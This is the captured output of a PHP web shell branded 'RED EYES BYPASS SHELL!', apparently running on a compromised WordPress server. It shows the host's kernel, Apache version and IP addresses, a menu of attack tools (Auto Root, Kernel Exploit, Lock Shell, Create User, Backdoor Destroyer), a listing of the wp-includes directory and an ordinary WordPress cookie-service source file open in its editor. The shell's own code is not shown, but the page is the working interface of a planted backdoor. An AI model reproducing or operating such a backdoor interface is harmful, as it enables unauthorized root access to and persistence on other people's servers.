Linux lamp-ubuntu-s-1vcpu-1gb-amd-blr1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Apache/2.4.41 (Ubuntu)
: 68.183.95.231 | : 216.73.216.153
pkexec version 0.105
Cant Read [ /etc/named.conf ]
root
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
var /
www /
ajayajmera.com /
public_html /
wp-includes /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
block-patterns
[ DIR ]
drwxr-xr-x
block-supports
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
php-compat
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
random_compat
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
sitemaps
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
admin-bar.php
33.28
KB
-rwxr-xr-x
atomlib.php
11.67
KB
-rwxr-xr-x
author-template.php
17.21
KB
-rwxr-xr-x
block-editor.php
21.16
KB
-rwxr-xr-x
block-i18n.json
316
B
-rwxr-xr-x
block-patterns.php
10.76
KB
-rwxr-xr-x
block-template-utils.php
31.75
KB
-rwxr-xr-x
block-template.php
11.25
KB
-rwxr-xr-x
blocks.php
44.45
KB
-rwxr-xr-x
bookmark-template.php
12.6
KB
-rwxr-xr-x
bookmark.php
14.97
KB
-rwxr-xr-x
cache-compat.php
4.22
KB
-rwxr-xr-x
cache.php
11.9
KB
-rwxr-xr-x
canonical.php
32.46
KB
-rwxr-xr-x
capabilities.php
34.9
KB
-rwxr-xr-x
category-template.php
54.81
KB
-rwxr-xr-x
category.php
12.41
KB
-rwxr-xr-x
class-IXR.php
2.48
KB
-rwxr-xr-x
class-feed.php
529
B
-rwxr-xr-x
class-http.php
373
B
-rwxr-xr-x
class-json.php
42.42
KB
-rwxr-xr-x
class-oembed.php
407
B
-rwxr-xr-x
class-phpass.php
6.54
KB
-rwxr-xr-x
class-phpmailer.php
664
B
-rwxr-xr-x
class-pop3.php
20.35
KB
-rwxr-xr-x
class-requests.php
29.72
KB
-rwxr-xr-x
class-simplepie.php
95.78
KB
-rwxr-xr-x
class-smtp.php
457
B
-rwxr-xr-x
class-snoopy.php
36.83
KB
-rwxr-xr-x
class-walker-category-dropdown.php
2.42
KB
-rwxr-xr-x
class-walker-category.php
8.27
KB
-rwxr-xr-x
class-walker-comment.php
13.88
KB
-rwxr-xr-x
class-walker-nav-menu.php
9.13
KB
-rwxr-xr-x
class-walker-page-dropdown.php
2.64
KB
-rwxr-xr-x
class-walker-page.php
7.42
KB
-rwxr-xr-x
class-wp-admin-bar.php
17.05
KB
-rwxr-xr-x
class-wp-ajax-response.php
5.12
KB
-rwxr-xr-x
class-wp-application-passwords.php
11.95
KB
-rwxr-xr-x
class-wp-block-editor-context.php
1.29
KB
-rwxr-xr-x
class-wp-block-list.php
4.61
KB
-rwxr-xr-x
class-wp-block-parser.php
14.86
KB
-rwxr-xr-x
class-wp-block-pattern-categories-registry.php
5.22
KB
-rwxr-xr-x
class-wp-block-patterns-registry.php
7.27
KB
-rwxr-xr-x
class-wp-block-styles-registry.php
4.88
KB
-rwxr-xr-x
class-wp-block-supports.php
5.17
KB
-rwxr-xr-x
class-wp-block-template.php
1.77
KB
-rwxr-xr-x
class-wp-block-type-registry.php
4.53
KB
-rwxr-xr-x
class-wp-block-type.php
10.28
KB
-rwxr-xr-x
class-wp-block.php
7.99
KB
-rwxr-xr-x
class-wp-comment-query.php
46.66
KB
-rwxr-xr-x
class-wp-comment.php
9.1
KB
-rwxr-xr-x
class-wp-customize-control.php
25.11
KB
-rwxr-xr-x
class-wp-customize-manager.php
197.02
KB
-rwxr-xr-x
class-wp-customize-nav-menus.php
55.54
KB
-rwxr-xr-x
class-wp-customize-panel.php
10.19
KB
-rwxr-xr-x
class-wp-customize-section.php
10.72
KB
-rwxr-xr-x
class-wp-customize-setting.php
29.16
KB
-rwxr-xr-x
class-wp-customize-widgets.php
69.63
KB
-rwxr-xr-x
class-wp-date-query.php
34.18
KB
-rwxr-xr-x
class-wp-dependency.php
2.45
KB
-rwxr-xr-x
class-wp-editor.php
69.99
KB
-rwxr-xr-x
class-wp-embed.php
15.58
KB
-rwxr-xr-x
class-wp-error.php
7.13
KB
-rwxr-xr-x
class-wp-fatal-error-handler.php
7.44
KB
-rwxr-xr-x
class-wp-feed-cache-transient.php
2.5
KB
-rwxr-xr-x
class-wp-feed-cache.php
970
B
-rwxr-xr-x
class-wp-hook.php
15.32
KB
-rwxr-xr-x
class-wp-http-cookie.php
7.21
KB
-rwxr-xr-x
class-wp-http-curl.php
12.09
KB
-rwxr-xr-x
class-wp-http-encoding.php
6.51
KB
-rwxr-xr-x
class-wp-http-ixr-client.php
3.39
KB
-rwxr-xr-x
class-wp-http-proxy.php
5.82
KB
-rwxr-xr-x
class-wp-http-requests-hooks.php
1.94
KB
-rwxr-xr-x
class-wp-http-requests-response.php
4.24
KB
-rwxr-xr-x
class-wp-http-response.php
2.88
KB
-rwxr-xr-x
class-wp-http-streams.php
16.21
KB
-rwxr-xr-x
class-wp-http.php
38.96
KB
-rwxr-xr-x
class-wp-image-editor-gd.php
15.33
KB
-rwxr-xr-x
class-wp-image-editor-imagick.php
26.37
KB
-rwxr-xr-x
class-wp-image-editor.php
16.26
KB
-rwxr-xr-x
class-wp-list-util.php
6.83
KB
-rwxr-xr-x
class-wp-locale-switcher.php
4.9
KB
-rwxr-xr-x
class-wp-locale.php
14.17
KB
-rwxr-xr-x
class-wp-matchesmapregex.php
1.76
KB
-rwxr-xr-x
class-wp-meta-query.php
29.47
KB
-rwxr-xr-x
class-wp-metadata-lazyloader.php
5.23
KB
-rwxr-xr-x
class-wp-network-query.php
18.8
KB
-rwxr-xr-x
class-wp-network.php
11.9
KB
-rwxr-xr-x
class-wp-object-cache.php
15.51
KB
-rwxr-xr-x
class-wp-oembed-controller.php
6.67
KB
-rwxr-xr-x
class-wp-oembed.php
29.97
KB
-rwxr-xr-x
class-wp-paused-extensions-storage.php
4.92
KB
-rwxr-xr-x
class-wp-post-type.php
25.15
KB
-rwxr-xr-x
class-wp-post.php
6.3
KB
-rwxr-xr-x
class-wp-query.php
137.26
KB
-rwxr-xr-x
class-wp-recovery-mode-cookie-service.php
6.31
KB
-rwxr-xr-x
class-wp-recovery-mode-email-service.php
11.11
KB
-rwxr-xr-x
class-wp-recovery-mode-key-service.php
4.17
KB
-rwxr-xr-x
class-wp-recovery-mode-link-service.php
3.36
KB
-rwxr-xr-x
class-wp-recovery-mode.php
11.13
KB
-rwxr-xr-x
class-wp-rewrite.php
61.5
KB
-rwxr-xr-x
class-wp-role.php
2.44
KB
-rwxr-xr-x
class-wp-roles.php
8.24
KB
-rwxr-xr-x
class-wp-session-tokens.php
7.25
KB
-rwxr-xr-x
class-wp-simplepie-file.php
3.18
KB
-rwxr-xr-x
class-wp-simplepie-sanitize-kses.php
1.73
KB
-rwxr-xr-x
class-wp-site-query.php
30.19
KB
-rwxr-xr-x
class-wp-site.php
7.25
KB
-rwxr-xr-x
class-wp-tax-query.php
19.09
KB
-rwxr-xr-x
class-wp-taxonomy.php
18.07
KB
-rwxr-xr-x
class-wp-term-query.php
38.96
KB
-rwxr-xr-x
class-wp-term.php
5.15
KB
-rwxr-xr-x
class-wp-text-diff-renderer-inline.php
716
B
-rwxr-xr-x
class-wp-text-diff-renderer-table.php
16.4
KB
-rwxr-xr-x
class-wp-theme-json-resolver.php
15.95
KB
-rwxr-xr-x
class-wp-theme-json-schema.php
4.2
KB
-rwxr-xr-x
class-wp-theme-json.php
67.68
KB
-rwxr-xr-x
class-wp-theme.php
52.98
KB
-rwxr-xr-x
class-wp-user-meta-session-tokens.php
2.92
KB
-rwxr-xr-x
class-wp-user-query.php
38.54
KB
-rwxr-xr-x
class-wp-user-request.php
2.14
KB
-rwxr-xr-x
class-wp-user.php
22.2
KB
-rwxr-xr-x
class-wp-walker.php
12.83
KB
-rwxr-xr-x
class-wp-widget-factory.php
3.24
KB
-rwxr-xr-x
class-wp-widget.php
17.72
KB
-rwxr-xr-x
class-wp-xmlrpc-server.php
207.93
KB
-rwxr-xr-x
class-wp.php
25.18
KB
-rwxr-xr-x
class.wp-dependencies.php
13.7
KB
-rwxr-xr-x
class.wp-scripts.php
18.61
KB
-rwxr-xr-x
class.wp-styles.php
10.64
KB
-rwxr-xr-x
comment-template.php
94.04
KB
-rwxr-xr-x
comment.php
123.35
KB
-rwxr-xr-x
compat.php
14.52
KB
-rwxr-xr-x
cron.php
39.9
KB
-rwxr-xr-x
date.php
406
B
-rwxr-xr-x
default-constants.php
10.29
KB
-rwxr-xr-x
default-filters.php
30.07
KB
-rwxr-xr-x
default-widgets.php
2.17
KB
-rwxr-xr-x
deprecated.php
124.86
KB
-rwxr-xr-x
embed-template.php
341
B
-rwxr-xr-x
embed.php
36.06
KB
-rwxr-xr-x
error-protection.php
4.02
KB
-rwxr-xr-x
feed-atom-comments.php
5.32
KB
-rwxr-xr-x
feed-atom.php
2.98
KB
-rwxr-xr-x
feed-rdf.php
2.61
KB
-rwxr-xr-x
feed-rss.php
1.16
KB
-rwxr-xr-x
feed-rss2-comments.php
3.97
KB
-rwxr-xr-x
feed-rss2.php
3.71
KB
-rwxr-xr-x
feed.php
22.43
KB
-rwxr-xr-x
formatting.php
323
KB
-rwxr-xr-x
functions.php
253.45
KB
-rwxr-xr-x
functions.wp-scripts.php
13.16
KB
-rwxr-xr-x
functions.wp-styles.php
8.37
KB
-rwxr-xr-x
general-template.php
155.85
KB
-rwxr-xr-x
global-styles-and-settings.php
6.21
KB
-rwxr-xr-x
http.php
22.45
KB
-rwxr-xr-x
https-detection.php
6.7
KB
-rwxr-xr-x
https-migration.php
4.62
KB
-rwxr-xr-x
kses.php
66.79
KB
-rwxr-xr-x
l10n.php
58.01
KB
-rwxr-xr-x
link-template.php
145.71
KB
-rwxr-xr-x
load.php
49.12
KB
-rwxr-xr-x
locale.php
162
B
-rwxr-xr-x
media-template.php
58.97
KB
-rwxr-xr-x
media.php
181.69
KB
-rwxr-xr-x
meta.php
61.22
KB
-rwxr-xr-x
ms-blogs.php
24.58
KB
-rwxr-xr-x
ms-default-constants.php
4.65
KB
-rwxr-xr-x
ms-default-filters.php
6.53
KB
-rwxr-xr-x
ms-deprecated.php
20.63
KB
-rwxr-xr-x
ms-files.php
2.59
KB
-rwxr-xr-x
ms-functions.php
91.57
KB
-rwxr-xr-x
ms-load.php
19.32
KB
-rwxr-xr-x
ms-network.php
3.67
KB
-rwxr-xr-x
ms-settings.php
4.03
KB
-rwxr-xr-x
ms-site.php
38.9
KB
-rwxr-xr-x
nav-menu-template.php
22.76
KB
-rwxr-xr-x
nav-menu.php
41.12
KB
-rwxr-xr-x
option.php
75.87
KB
-rwxr-xr-x
pluggable-deprecated.php
6.12
KB
-rwxr-xr-x
pluggable.php
104.98
KB
-rwxr-xr-x
plugin.php
33.67
KB
-rwxr-xr-x
post-formats.php
6.91
KB
-rwxr-xr-x
post-template.php
63.56
KB
-rwxr-xr-x
post-thumbnail-template.php
10.65
KB
-rwxr-xr-x
post.php
266.93
KB
-rwxr-xr-x
query.php
34.94
KB
-rwxr-xr-x
registration-functions.php
200
B
-rwxr-xr-x
registration.php
200
B
-rwxr-xr-x
rest-api.php
93.4
KB
-rwxr-xr-x
revision.php
22.92
KB
-rwxr-xr-x
rewrite.php
18.77
KB
-rwxr-xr-x
robots-template.php
5.06
KB
-rwxr-xr-x
rss-functions.php
255
B
-rwxr-xr-x
rss.php
22.44
KB
-rwxr-xr-x
script-loader.php
126.81
KB
-rwxr-xr-x
session.php
258
B
-rwxr-xr-x
shortcodes.php
20.93
KB
-rwxr-xr-x
sitemaps.php
3.16
KB
-rwxr-xr-x
spl-autoload-compat.php
441
B
-rwxr-xr-x
taxonomy.php
165.2
KB
-rwxr-xr-x
template-canvas.php
592
B
-rwxr-xr-x
template-loader.php
2.94
KB
-rwxr-xr-x
template.php
21.96
KB
-rwxr-xr-x
theme-i18n.json
959
B
-rwxr-xr-x
theme-templates.php
5.39
KB
-rwxr-xr-x
theme.json
5.61
KB
-rwxr-xr-x
theme.php
124.93
KB
-rwxr-xr-x
update.php
29.21
KB
-rwxr-xr-x
user.php
163.68
KB
-rwxr-xr-x
vars.php
5.73
KB
-rwxr-xr-x
version.php
929
B
-rwxr-xr-x
widgets.php
67.58
KB
-rwxr-xr-x
wlwmanifest.xml
1.02
KB
-rwxr-xr-x
wp-db.php
106.42
KB
-rwxr-xr-x
wp-diff.php
647
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-recovery-mode-cookie-service.php
<?php /** * Error Protection API: WP_Recovery_Mode_Cookie_Service class * * @package WordPress * @since 5.2.0 */ /** * Core class used to set, validate, and clear cookies that identify a Recovery Mode session. * * @since 5.2.0 */ final class WP_Recovery_Mode_Cookie_Service { /** * Checks whether the recovery mode cookie is set. * * @since 5.2.0 * * @return bool True if the cookie is set, false otherwise. */ public function is_cookie_set() { return ! empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ); } /** * Sets the recovery mode cookie. * * This must be immediately followed by exiting the request. * * @since 5.2.0 */ public function set_cookie() { $value = $this->generate_cookie(); /** * Filters the length of time a Recovery Mode cookie is valid for. * * @since 5.2.0 * * @param int $length Length in seconds. */ $length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS ); $expire = time() + $length; setcookie( RECOVERY_MODE_COOKIE, $value, $expire, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), true ); if ( COOKIEPATH !== SITECOOKIEPATH ) { setcookie( RECOVERY_MODE_COOKIE, $value, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, is_ssl(), true ); } } /** * Clears the recovery mode cookie. * * @since 5.2.0 */ public function clear_cookie() { setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN ); } /** * Validates the recovery mode cookie. * * @since 5.2.0 * * @param string $cookie Optionally specify the cookie string. * If omitted, it will be retrieved from the super global. * @return true|WP_Error True on success, error object on failure. */ public function validate_cookie( $cookie = '' ) { if ( ! $cookie ) { if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) { return new WP_Error( 'no_cookie', __( 'No cookie present.' ) ); } $cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ]; } $parts = $this->parse_cookie( $cookie ); if ( is_wp_error( $parts ) ) { return $parts; } list( , $created_at, $random, $signature ) = $parts; if ( ! ctype_digit( $created_at ) ) { return new WP_Error( 'invalid_created_at', __( 'Invalid cookie format.' ) ); } /** This filter is documented in wp-includes/class-wp-recovery-mode-cookie-service.php */ $length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS ); if ( time() > $created_at + $length ) { return new WP_Error( 'expired', __( 'Cookie expired.' ) ); } $to_sign = sprintf( 'recovery_mode|%s|%s', $created_at, $random ); $hashed = $this->recovery_mode_hash( $to_sign ); if ( ! hash_equals( $signature, $hashed ) ) { return new WP_Error( 'signature_mismatch', __( 'Invalid cookie.' ) ); } return true; } /** * Gets the session identifier from the cookie. * * The cookie should be validated before calling this API. * * @since 5.2.0 * * @param string $cookie Optionally specify the cookie string. * If omitted, it will be retrieved from the super global. * @return string|WP_Error Session ID on success, or error object on failure. */ public function get_session_id_from_cookie( $cookie = '' ) { if ( ! $cookie ) { if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) { return new WP_Error( 'no_cookie', __( 'No cookie present.' ) ); } $cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ]; } $parts = $this->parse_cookie( $cookie ); if ( is_wp_error( $parts ) ) { return $parts; } list( , , $random ) = $parts; return sha1( $random ); } /** * Parses the cookie into its four parts. * * @since 5.2.0 * * @param string $cookie Cookie content. * @return array|WP_Error Cookie parts array, or error object on failure. */ private function parse_cookie( $cookie ) { $cookie = base64_decode( $cookie ); $parts = explode( '|', $cookie ); if ( 4 !== count( $parts ) ) { return new WP_Error( 'invalid_format', __( 'Invalid cookie format.' ) ); } return $parts; } /** * Generates the recovery mode cookie value. * * The cookie is a base64 encoded string with the following format: * * recovery_mode|iat|rand|signature * * Where "recovery_mode" is a constant string, * iat is the time the cookie was generated at, * rand is a randomly generated password that is also used as a session identifier * and signature is an hmac of the preceding 3 parts. * * @since 5.2.0 * * @return string Generated cookie content. */ private function generate_cookie() { $to_sign = sprintf( 'recovery_mode|%s|%s', time(), wp_generate_password( 20, false ) ); $signed = $this->recovery_mode_hash( $to_sign ); return base64_encode( sprintf( '%s|%s', $to_sign, $signed ) ); } /** * Gets a form of `wp_hash()` specific to Recovery Mode. * * We cannot use `wp_hash()` because it is defined in `pluggable.php` which is not loaded until after plugins are loaded, * which is too late to verify the recovery mode cookie. * * This tries to use the `AUTH` salts first, but if they aren't valid specific salts will be generated and stored. * * @since 5.2.0 * * @param string $data Data to hash. * @return string|false The hashed $data, or false on failure. */ private function recovery_mode_hash( $data ) { if ( ! defined( 'AUTH_KEY' ) || AUTH_KEY === 'put your unique phrase here' ) { $auth_key = get_site_option( 'recovery_mode_auth_key' ); if ( ! $auth_key ) { if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $auth_key = wp_generate_password( 64, true, true ); update_site_option( 'recovery_mode_auth_key', $auth_key ); } } else { $auth_key = AUTH_KEY; } if ( ! defined( 'AUTH_SALT' ) || AUTH_SALT === 'put your unique phrase here' || AUTH_SALT === $auth_key ) { $auth_salt = get_site_option( 'recovery_mode_auth_salt' ); if ( ! $auth_salt ) { if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $auth_salt = wp_generate_password( 64, true, true ); update_site_option( 'recovery_mode_auth_salt', $auth_salt ); } } else { $auth_salt = AUTH_SALT; } $secret = $auth_key . $auth_salt; return hash_hmac( 'sha1', $data, $secret ); } }
Close